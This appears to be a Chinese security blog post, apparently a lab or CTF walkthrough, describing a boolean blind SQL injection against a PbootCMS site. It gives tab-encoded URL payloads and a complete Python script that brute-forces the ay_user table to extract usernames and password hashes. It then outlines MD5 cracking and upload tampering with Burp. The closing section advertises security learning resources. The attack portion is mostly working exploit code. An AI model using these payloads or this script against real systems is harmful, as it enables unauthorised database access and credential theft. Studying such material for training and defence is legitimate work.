判断数据库长度,使用length()函数,构造语句:
http://10.10.5.79:8088/?case/14
%27)%09and%09length(database())%3d1%23.html%09and%09length(database())%3d1%23.html"),

当等于1时返回空,将数据改为8,返回正常,说明数据库的长度为8

开始修改bool.py脚本,在脚本内容中修改参数,利用构造的盲注语句修改脚本中的语句

这里根据提示,用御剑扫描网站后台,有一个.zip后缀名的数据包,访问后发现数据库文件,找到存储password的表文件为’ay_user’,这里更改content内容表内容,直接跑出content结果。

这里附上Python脚本源码:

import requests
import string

class GetInject:
    chr_str = string.ascii_lowercase + string.punctuation + string.digits 
    def __init__(self,url,mark,obj):
        '''
        obj参数举例:
        obj = "database()"
        obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
        '''
        self.url = url
        self.mark = mark
        self.obj = obj
    
    def get_length(self):
        payload_len = "14')%09and%09length({0})%3d{1}%23.html"
        #如果实例参数是双引号型或者整数型,修改payload格式
        i = 1
        while True:
            payload_len_i = payload_len.format(self.obj,i)
            r = requests.get(self.url+payload_len_i)
            if self.mark in r.text:
                print("len",i)
                return i
            i += 1

    def get_name(self):
        name_len = self.get_length()
        payload_name = "14')%09and%09substr({0},{1},1)%3d'{2}'%23.html"
        #payload_name = "14')%09and%09length({0})%3d{1}%23"
        output = ''
        for i in range(1,name_len + 1):
            for c in self.chr_str:  # 直接枚举
                payload_name_i = payload_name.format(self.obj,i,c)
                r = requests.get(url+payload_name_i)
                if self.mark in r.text:
                    output += c
                    print(output)
                    break
        return output

# mark 是判断为True还是False的标志,这里是you are in
url = "http://10.10.5.79:8088/?case/"
mark = "<title>湖南翱云网络科技有限公司-服务案例-PbootCMS-永久开源免费的PHP企业网站开发建设管理系统</title>"
#tables = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
#columns = "(select group_concat(column_name) from information_schema.columns where table_schema=database())"
content = "(select%09group_concat(username,':',password)%09from%09ay_user)"

database = "database()"
test1 = GetInject(url,mark,content)
test1.get_name()

脚本返回结果:

MD5解密

登录网站后台,找到图片上传点,使用burp更改数据包

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

更多推荐